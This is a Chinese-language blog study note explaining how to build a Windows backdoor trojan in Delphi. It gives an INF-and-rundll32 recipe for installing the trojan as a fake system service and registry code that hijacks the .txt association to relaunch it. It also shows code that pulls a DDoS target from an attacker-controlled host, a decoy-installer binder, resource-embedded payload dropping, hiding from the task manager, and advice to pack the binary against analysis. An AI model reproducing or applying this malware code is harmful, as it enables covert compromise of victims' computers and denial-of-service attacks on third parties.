关于开发系统后门软件的几点思路
作者:Delphiscn(cnBlaster#sohu.com)http://blog.csdn.net/Delphiscn
注释:这只是一篇临时的学习笔记
目录
1、前言
2、系统加载
3、文件关联
4、攻击控制
5、文件隐匿
6、附言
前言
现在的系统后门软件数不胜数,但大都有一个通病,就是系统加载方面很容易被精明的老鸟们察觉。而且遇上类似“天网”或是“金山网镖”的网络防火墙基本上就没戏了。前些天在网上看到了一篇名叫《Do all in cmd shell》的文章,里面关于程序加载的方式比较巧妙,对基于NT的2000\XP这样的系统基本上已经可以做到通用了。在此我用Delphi,并模仿一些经典后门软件的功能写一个Backdoor,希望与各位高手共同交流编程经验,也算是复习一下以前学习的知识:)
系统加载
读到这里,估计很多朋友会立即联想到HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run和Win.ini中的Load。没错,不过从实战角度出发,现在再用这样的启动方式已经有点落后了。而且如果你的程序实现的功能很多,但如果在启动方面出了问题,不是一件很郁闷的事吗?在此,根据 《Do all in cmd shell》作者的思路,我们可以自己写一个inf文件,利用这个文件配置一个系统服务程序。这样,我们的后门就可以在不知不觉中,随系统服务一起启动了。(不过此方案有一个局限性:只适用于NT\2000\XP)这里引用作者的原文:
现在,让我们用inf来添加一个系统服务
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%\inetsvr.exe
保存为inetsvr.inf,然后
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %systemroot%\system32\inetsvr.inf(在这里我对原文做了点修改)
[注:%systemroot%是个环境变量,假设你的系统文件夹是C:\Windows,那么%systemroot%的路径就是C:\Windows(一般为98或是XP)假设你的系统文件夹为C:\winnt,那么%systemroot%的路径则为C:\winnt(一般为2K)]
这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。
几点说明:
1,最后四项分别是
服务类型:0x10为独立进程服务,0x20为共享进程服务(比如svchost);
启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启
动,3 手动启动,4 禁用。
(注意,0和1只能用于驱动程序)
错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。
服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%
12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量,直接使用全路
径。
这四项是必须要有的。
2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍
了。
3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。
删除一个服务:
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
DelService=inetsvr
很简单,不是吗?
下面的步骤就是要在Delphi中调用这个inf安装服务。我们可以使用shellExecute这个函数,具体用法为
shellExecute(handle,nil,pchar('rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %systemroot%\system32\inetsvr.inf'),nil,nil,sw_shownormal);
我觉得这里的sw_shownormal有点不是很好,因为在这个参数下。cmd shell的窗口是可见的,不知道你们有没有什么好的办法?但是,我觉得shellExecute函数有一个好处-------如果应用程序找不到inf,在电脑屏幕上不会有任何的反映。简单的说,就是不会报错:)当然,如果你不放心那也可以使用GetWindowsDirectory函数对inf文件进行绝对定位,不过在这里我觉得好象没有这个必要。
疑惑:在这里我们的共享类型ServiceType=0x10属于独立进程服务。估计这个病毒要访问Internet时会遭到防火墙的拦截。但是象类似svchost、lsass这样的共享进程服务却不会,如果我们把ServiceType的值改为0x20我想情况会有所改观,不过在这里我没有深入研究。
文件关联
按照惯例,我们可以对txt文本关联进行修改,将注册表中的键值指向我们的后门程序。下面这段代码可以做到这一点:)
var
Backdoor: TRegistry;
FileExt:String;
FileType:String;
FileDescription:String;
ExecName:String;
WinDir:String;
begin
FileExt:='.txt';
FileType:='文本文档';
FileDescription:='文本文档';
SetLength(WinDir,128);//获取Windows目录
GetWindowsDirectory(PChar(WinDir),128);
SetLength(WinDir,StrLen(PChar(WinDir)));
ExecName:=WinDir+'\system32\inetsvr.exe';//这里的inetsvr.exe是我们的病毒程序
Backdoor:=TRegistry.Create;//创建注册表对象
try
Backdoor.RootKey:=HKEY_CLASSES_ROOT;//注册表根键
if not Backdoor.OpenKey(FileExt, True) then Exit; //当在注册表中创建文件类型失败时退出,一般是注册表错误
Backdoor.WriteString('',FileType);//写文件类型数据
Backdoor.CloseKey;
if not Backdoor.OpenKey(FileType,True) then//打开文件类型FileType关键字
Exit;
Backdoor.WriteString('',FileDescription);//写文件描述数据
if not Backdoor.OpenKey('shell\open\command', True) then//打开子键
Exit;
Backdoor.WriteString('',ExecName);
Backdoor.CloseKey;//关闭关键字
finally
Backdoor.Free;//释放注册表对象
end;
end;
这样,只要用户双击txt文件,我们的inetsvr.exe就会又跟着启动了。
攻击控制
前些日子在网上看到了一篇关于用bat批处理文件控制病毒程序攻击他人网站的一个例子。由于我对他的那个实例还没有完全搞清楚,不过我们可以使用其他办法来代替bat。下面我们来实现这个过程:
首先,可以申请一个主页空间(假设为http://www.attack.com/delphiscn)。上传一个ipaddress.txt的文档。内容为192.168.0.1
这里的192.168.0.1为我们要攻击的网站地址。
在Delphi中添加如下语句:
var ipaddress:integer;
NMhttp.Get('http://www.attack.com/Delphiscn/ipaddress.txt');
ipaddress:=strtoint(NMhttp.Body);
NMhttp.Free;
这样,我们的程序就得到了要攻击的网站地址IPaddress,而且这个IPAddress可由我们自己控制:)
接下来就是论到攻击了,我们可以在程序中加入一段代码。向192.168.0.1不停的发送数据包。造成远程服务器拒绝响应,也就是经常提到的DDOS。当然你也可以用类似Ping这样的方法,由于比较简单,这里就不再细述了。
文件隐匿
如果你设计的程序功能比较强大,也许不止一个可执行文件,而且我们又不能象其他共享软件那样做安装程序。其中最简单的方法就是用copy/b setup.exe+run.exe set.exe这条命令把需要运行的程序加载在前一个可执行程序的后面,setup.exe文件的职责有两个,其一是显示假象让别人不知道这是一个木马安装程序,其二就是真实的目的从指定字长定位将木马服务程序截取下来并运行安装,由于木马服务部分采用了“隐形”技术,所以根本不会被察觉,代码部分就是定位拷贝,这里不在细述。还有一种方法是在资源文件RES中预先装入木马,并以数据形式存于当前可执行文件中,在合适的时机释放即可。下面这段代码可用于从RES中释放指定的文件:
procedure runvirus(from:pchar;Fileto:String);
var
tempdir:string;
Buf:pointer;
size:longint;
h,ResHandle:Cardinal;
zip:File;
begin
h:=GetModuleHandle(pchar(extractFilename(paramstr(0))));
tempdir:='';
reshandle:=FindResource(h,Makeintresource(1),'DAT');
buf:=Pointer(loadresource(h,reshandle));
size:=SizeofResource(h,reshandle);
assignfile(zip,tempdir+fileto);
rewrite(zip,1);
try
blockwrite(zip,buf^,size)
finally
closefile(zip);
end;
end;
资源文件test.rc制作如下:
* 内容: 1 DAT "test.exe"
* 制作: BRCC32 test.rc
* 在资源文件中加入:
{$R *.DFM}
//加入test.RES,如果不加这一行,当木马释放文件时会找不着资源而报错,一定要注意这个问题:)
{$R test.RES}
* 函数调用:
if not Fileexists('test.exe') then runvirus('DAT','test.exe');
另外,附上几个比较常用的小技巧:
任务管理器中的隐形:
我们可以使用清除标题的方法:
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
begin
//此处设置标题的清除
Appilcation.Title:='';
Application.Initialize;
Application.CreateForm(TForm1,Form1);
Application.Run;
end.
工具栏上的隐形:
通过使用SetWindowLong函数即可:
SetWindowLong(Application,Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
防止程序多次重复运行:
在制作利用端口进行服务的同时,经常要防止程序的重复执行,因为同一份拷贝在运行时会使用相同的IP地址和相同的端口,必然会产生冲突。所以,为了防止程序二次执行。我们可以在程序启动事件里加入如下代码:
假设我们的程序标题为Neverland
program Neverland;
uses
Forms,Windows,SysUtils,
Neverland in 'Neverland.pas' {Form1};
{$R *.RES}
var
hMutex:HWND;
Ret:Integer;
Begin
Application.Initialize;
Application.Title:='Neverland';
hMutex:=CreateMutex(nil,False,'Neverland');
Ret:=GetLastError;
IF Ret<>ERROR_ALREADY_EXISTS Then
Begin
Application.CreateForm(TForm1, Form1);
Application.Run;
End
Else
ReleaseMutex(hMutex);
end.
附言
通过上述改进,一个系统后门程序就已经初具雏形了。当然,如果您有兴趣,还可以对其功能进行扩充。最后,千万别忘了用ACPack对它加壳哦,这样会增加他人反汇编的困难。如果您有什么好的思路或方法,欢迎与大家一起讨论:)
参考
《Do all in cmd shell》